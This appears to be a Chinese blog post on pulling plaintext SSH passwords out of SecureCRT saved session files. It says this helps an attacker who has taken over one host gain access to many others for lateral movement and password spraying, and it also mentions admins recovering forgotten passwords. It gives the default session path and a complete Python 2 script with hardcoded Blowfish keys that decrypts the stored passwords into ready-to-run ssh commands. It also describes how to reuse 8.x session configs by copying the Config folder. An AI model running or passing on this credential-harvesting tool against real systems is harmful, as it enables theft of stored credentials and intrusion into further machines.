首页 > 其他分享 >获取SecureCRT明文密码

获取SecureCRT明文密码

时间:2022-10-04 22:33:20浏览次数:46  
标签:REGEX return re 明文 padded 密码 版本 SecureCRT

1 概述

很多运维人员会将SSH的账号密码保存在SecureCRT上,当我们拿下这台主机后就可以同时获取到多台机器的权限,同时,在内网横向时,通过抓取密码进行碰撞是非常高效的手段,往往可以找到大量使用通用口令的机器。当运维人员忘记密码后,也可以通过这种方法去找回明文密码。

2 详情

解密方法分两种,根据SecureCRT的版本分为针对低版本(7.X及以下版本)和针对高版本( 8.X)。

如果SecureCRT启动的时候设置了启动密码,说明config是被加密过的,这个就无法破解了。

2.1 Session保存路径

如果用户没有做过修改,那默认SecureCRT的Config目录路径为:%APPDATA%\VanDyke\Config\Sessions\,也可以直接从图形界面上看。

image-20220818233917161

Sessions目录下的ini文件就是解密需要的文件。

image-20220818233810924

2.2 7.X及以下版本解密

解密脚本如下

from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
	c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
	c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
	padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
	p = ''
	while padded[:2] != '\x00\x00' :
		p += padded[:2]
		padded = padded[2:]
	return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
	m = REGEX_HOSTNAME.search(x)
	if m :
		return m.group(1)
	return '???'

def password(x) :
	m = REGEX_PASWORD.search(x)
	if m :
		return decrypt(m.group(1))
	return '???'

def port(x) :
	m = REGEX_PORT.search(x)
	if m :
		return '-p %d '%(int(m.group(1), 16))
	return ''

def username(x) :
	m = REGEX_USERNAME.search(x)
	if m :
		return m.group(1) + '@'
	return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
	help='session file(s)')
args = parser.parse_args()


for f in args.files :
	c = f.read().replace('\x00', '')
	print f.name
	print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

python2版本下使用,如果使用脚本提示报错,需要安装相关依赖包。

pip install pycryptodome
pip install pywin32

image-20220819000009759

2.3 8.X版本解密

对于8.X高版本,可以把 %APPDATA%\VanDyke\Config\ 整个目录拷贝到本机SecureCRT的Config目录下,然后直接连接。但版本要与目标的一致,否则可能出问题。

标签:REGEX,return,re,明文,padded,密码,版本,SecureCRT
From: https://www.cnblogs.com/NoId/p/16754669.html

相关文章